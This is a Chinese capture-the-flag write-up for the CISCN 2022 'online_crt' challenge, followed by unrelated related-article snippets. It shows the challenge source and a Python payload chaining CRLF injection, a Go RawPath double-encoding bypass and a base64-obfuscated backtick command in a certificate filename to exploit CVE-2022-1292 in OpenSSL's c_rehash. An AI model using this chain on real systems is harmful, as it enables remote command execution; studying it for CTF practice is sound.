[CISCN 2022 初赛]online_crt crash漏洞引起的命令执行

news/2024/6/20 17:13:20

几天没做题了,有点生疏。看题吧。题目标签说是CVE-2022-1292,去看看。

意思就是在$fname处构造恶意文件名导致的命令注入,而且前面没有认真过滤,也就是文件名命令执行。

看看题目源码:

点击查看代码
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import requestapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(16)def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):root_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend())subject = issuer = x509.Name([x509.NameAttribute(NameOID.COUNTRY_NAME, Country),x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),x509.NameAttribute(NameOID.LOCALITY_NAME, City),x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),x509.NameAttribute(NameOID.COMMON_NAME, CommonName),x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),])root_cert = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(root_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(datetime.datetime.utcnow()).not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)).sign(root_key, hashes.SHA256(), default_backend())crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"with open(crt_name, "wb") as f:f.write(root_cert.public_bytes(serialization.Encoding.PEM))return crt_name@app.route('/', methods=['GET', 'POST'])
def index():return render_template("index.html")@app.route('/getcrt', methods=['GET', 'POST'])
def upload():Country = request.form.get("Country", "CN")Province = request.form.get("Province", "a")City = request.form.get("City", "a")OrganizationalName = request.form.get("OrganizationalName", "a")CommonName = request.form.get("CommonName", "a")EmailAddress = request.form.get("EmailAddress", "a")return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)@app.route('/createlink', methods=['GET'])
def info():json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}return json.dumps(json_data)@app.route('/proxy', methods=['GET'])
def proxy():uri = request.form.get("uri", "/")client = socket.socket()client.connect(('localhost', 8887))msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close'''client.send(msg.encode())data = client.recv(2048)client.close()return data.decode()app.run(host="0.0.0.0", port=8888)
proxy提供了访问内网的途径,可以利用其构造CRLF来进行文件名的伪造,createlink就是触发c_rehash,getcrt就是生成crt文件。那么流程就是先生成crt文件,利用crlf伪造文件名(利用点为proxy的uri),访问createlink。这里忽略了个东西导致过程出现了错误,看了wp说是gin框架中对url进行了过滤,看看go源码。
点击查看代码
package mainimport ("github.com/gin-gonic/gin""os""strings"
)func admin(c *gin.Context) {staticPath := "/app/static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")
}func index(c *gin.Context) {c.String(200, "hello world")
}func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}
}
可以看到c.Request.URL.RawPath != "" && c.Request.Host == "admin"分支时才是我们想要的。RawPath解释是go中会对原始url进行反转义操作(URL解码),如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空,这里的绕过应该是正常的二次编码,看了wp发现只需将payload中的一个'/'进行二次编码转换成了%252f即可。 那么构造payload:
点击查看代码
import urllib.parse
uri = '''/admin%2frename?oldname=自己的证书名&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)
做完这步在访问proxy时需要添加Content-Type: application/x-www-form-urlencoded,构造get请求将uri写在post处。会回显。

证明我们构造成功执行了。访问createlink触发c_rehash,最后访问/static/crt/flag.txt拿到flag。
github cve-poc地址: https://github.com/alcaparra/CVE-2022-1292/blob/main/README.md

总结:

  1. openssl中fname过滤不当导致的文件名命令执行漏洞

  2. RawPath的绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/34543.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

解锁你的数据库:JPA和Hibernate的乐观锁与悲观锁

哈喽,大家好,我是木头左!引言 在当今的软件开发领域,数据库操作是不可或缺的一部分。然而,随着并发操作的增加,如何正确地处理并发问题是每个开发者都需要面对的挑战。本文将深入探讨JPA(Java Persistence API)和Hibernate这两种ORM(对象关系映射)工具中的乐观锁和悲…

易基因:WGBS+ChIP-seq等表观组分析揭示FOXM1 是抗肿瘤免疫应答的关键调控因子

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 食管癌是一种常见的恶性肿瘤,包括两种主要的组织学亚型:食管鳞状细胞癌(squamous cell carcinoma,ESCC)和食管腺癌(adenocarcinoma,EAC)。近两年来对抗肿瘤免疫应答机制的理解得到了显著提高,免疫检查…

JavaWeb分布式事务处理

哈喽,大家好,我是木头左!一、分布式事务的概念与特性 在开始之前,首先需要理解什么是分布式事务以及其特性。将从最基础的定义和特性开始,逐步深入到其在实际应用中的表现和影响。 1.1 分布式事务的概念 分布式事务是指跨越多个独立的计算机资源(如数据库、应用服务器等)…

Merry Christmas 礼物

Merry Christmas 圣诞快乐!! 我的圣诞礼物,yes~Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解` Merry Christmas 礼物 日期:2020-12-25 阿珏 谈天说地 浏览:340次 评论:3条 M…

2020年迟到的年终总结

我一直在想究竟要不要写年终总结,又该写点什么好呢 纠结了一个多月,这件事一直放在心里,直到前几天和杨小 姐 杰打游戏时,问我:“年终总结写了吗?” 这才让我决定一定要写。Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过…

后台向vue页面传值

//向vue页面传值 //步骤1: // 现在js文件中规定调用的后台接口查询车辆状态详细 export function listCar(query) { return request({ url: /mqtts/start/liststat, method: get, params: query }) //步骤2: //在vue页面的script下引入方法 listCar import { listCar } from …

DashVector + DashScope升级多模态检索

本教程在前述教程(DashVector + ModelScope玩转多模态检索)的基础之上,基于DashScope上新推出的ONE-PEACE通用多模态表征模型结合向量检索服务DashVector来对多模态检索进行升级,接下来我们将展示更丰富的多模态检索能力。 DashVector + ModelScope 玩转多模态检索 行车记录…

真 逃避现实

一直以来我都有一个想买vr设备的愿望,今天终于圆了 在 @本群吉祥物 的推荐下,买了Oculus 品牌的VR一体机Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解` 真 逃避现实 日期:2020-9-…